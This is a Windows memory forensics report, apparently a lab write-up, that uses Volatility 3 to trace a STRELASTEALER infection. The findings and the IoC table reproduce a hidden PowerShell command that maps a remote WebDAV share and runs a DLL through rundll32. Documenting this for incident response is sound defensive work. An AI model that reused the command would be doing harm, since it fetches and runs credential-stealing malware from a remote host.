Reveal Windows Memory using Volatility 3

Executive Summary

This report details the forensic analysis of a multi-stage cyber attack conducted by analyzing a Windows memory dump using Volatility 3. The investigation was initiated after the Security Information and Event Management (SIEM) system flagged anomalous activity on a workstation containing sensitive financial data. The analysis successfully identified the execution of malicious processes, reconstructed the attacker’s command lines, and correlated the findings with threat intelligence to attribute the attack to the STRELASTEALER malware family.

Incident Scenario

An incident response (IR) engagement was triggered following an alert regarding unusual activity on a critical financial workstation. The primary objective was to analyze the provided memory dump (.dmp) to identify indicators of compromise (IoCs), trace the anomaly’s origin, and assess the scope of the breach to facilitate effective containment.

Investigation Methodology

The primary tool utilized for this memory forensics investigation was Volatility 3, an advanced framework for analyzing volatile memory (RAM) dumps (e.g., .vmem, .raw, .mem, and .dmp files).

Figure 1: Windows memory dump file (~2 GB) provided for analysis.

Volatility 3 operates via a command-line interface and requires specific executable files for proper functioning. The initial step involved verifying the tool’s environment and reviewing available capabilities.

Figure 2: Volatility 3 executable environment.

Figure 3: Volatility 3 command-line help interface.

The framework encompasses numerous plugins designed to investigate memory artifacts across various operating systems, including Linux, macOS, and Windows.

*(Figures 4, 5, & 6: Subset of available Volatility 3 plugins)*

Technical Analysis & Findings

Given the artifact is a Windows .dmp file, the investigation prioritized Windows-specific plugins.

Process Hierarchy Analysis

The initial phase of the analysis focused on reconstructing the process tree at the time of the memory capture. The windows.pstree plugin was employed to list running processes based on their parent-child relationships (PPID/PID).

Figure 7: Execution of the windows.pstree plugin.

The syntax utilized was: vol -f <filename> <plugin>

Figure 8: Initial execution and parsing of the memory dump.

The process tree revealed a highly suspicious command line execution associated with powershell.exe.

Figures 9 & 10: Suspicious powershell.exe process and associated command line.

Malicious Execution Analysis

The investigation identified the following anomalous command line executed by Process ID (PID) 3692:

windowstyle hidden net use \45.9.74.32@8888\davwwwroot\ ; rundll32 \45.9.74.32@8888\davwwwroot\3435.dll,entry

Forensic Breakdown:

• Process Information: The malicious process is powershell.exe (PID: 3692). Its Parent Process ID (PPID) is 4120. Further tracing of PPID 4120 yielded no results, indicating that the parent process self-terminated immediately after spawning the child process. This behavior is indicative of malware attempting to evade detection and break process lineage.
• Defense Evasion (windowstyle hidden): The command was executed silently without displaying a user interface, a common tactic for stealth execution.
• Remote Resource Access (net use): The command maps a network share to a remote WebDAV server (\\45.9.74.32@8888\davwwwroot\) controlled by the threat actor. The targeted shared directory is davwwwroot.
• Payload Execution (rundll32): The attack leverages rundll32.exe to load and execute the 3435.dll directly from the remote WebDAV share. Upon loading into memory, it triggers the entry exported function.

Living off the Land (LOLBins) Evasion Technique

The threat actor abused rundll32.exe, a legitimate Microsoft-signed binary, to load the malicious Dynamic Link Library (DLL). This technique effectively bypasses traditional Antivirus (AV) solutions for several reasons:

1. Trusted Binary: rundll32.exe is a standard Windows component, often whitelisted by AV solutions. This abuse is classified as a Living off the Land Binaries (LOLBins) technique.
2. Expected Behavior: Loading libraries is the intended function of rundll32.exe, complicating behavioral detection for legacy AV.
3. Fileless/Network Loading: The malicious DLL is loaded directly into memory from a remote network location without being written to the local disk. Traditional AV solutions heavily rely on scanning on-disk executables and fail to inspect network-loaded libraries.

This highlights the necessity of Endpoint Detection and Response (EDR) and advanced behavioral analysis systems.

Compromised Account Identification

To determine the scope of the compromise, the windows.getsids plugin was utilized, filtered by the malicious PID (3692), to identify the user context under which the process was executing.

Figure 11: Extracting Security Identifiers (SIDs) associated with PID 3692.

The analysis confirmed that the compromised user account is Elon.

Threat Intelligence & Attribution

The attacker’s command and control (C2) / payload delivery IP address was identified as 45.9.74.32. Querying this IP against threat intelligence platforms (e.g., VirusTotal) facilitated the attribution of the attack.

Figure 12: Threat intelligence correlation for IP 45.9.74.32.

Based on threat intelligence data, the malicious activity and payload are attributed to the STRELASTEALER malware family. STRELASTEALER is an information stealer primarily designed to extract email account credentials from applications such as Microsoft Outlook and Mozilla Thunderbird, frequently distributed via malicious ISO files.

Indicators of Compromise (IoCs)

Type	Indicator	Description
IPv4	45.9.74.32	Remote WebDAV server hosting the malicious DLL
File	3435.dll	Second-stage payload loaded via rundll32
Process	powershell.exe (PID: 3692)	Malicious process executing the payload
Command Line	windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry	Malicious payload execution command
Malware Family	STRELASTEALER	Credential theft malware

MITRE ATT&CK Mapping

The observed adversarial behaviors align with the following MITRE ATT&CK techniques:

Figure 13: MITRE ATT&CK mapping for rundll32 abuse.

• T1218.011 - System Binary Proxy Execution: Rundll32: The attacker utilized rundll32.exe to execute the malicious DLL (3435.dll), acting as a proxy to bypass security controls.
• T1059.001 - Command and Scripting Interpreter: PowerShell: Abuse of PowerShell to execute the initial commands.
• T1562.001 - Impair Defenses: Disable or Modify Tools: (Implied by the parent process self-termination and memory-only execution to evade logging/AV).

Conclusion

The forensic analysis successfully reconstructed the attack chain, revealing that the threat actor compromised the user account “Elon” and utilized a fileless execution technique (LOLBins) via rundll32.exe and a remote WebDAV share to load the STRELASTEALER payload. This case demonstrates the critical importance of memory forensics and behavioral analysis in detecting sophisticated, disk-evading threats.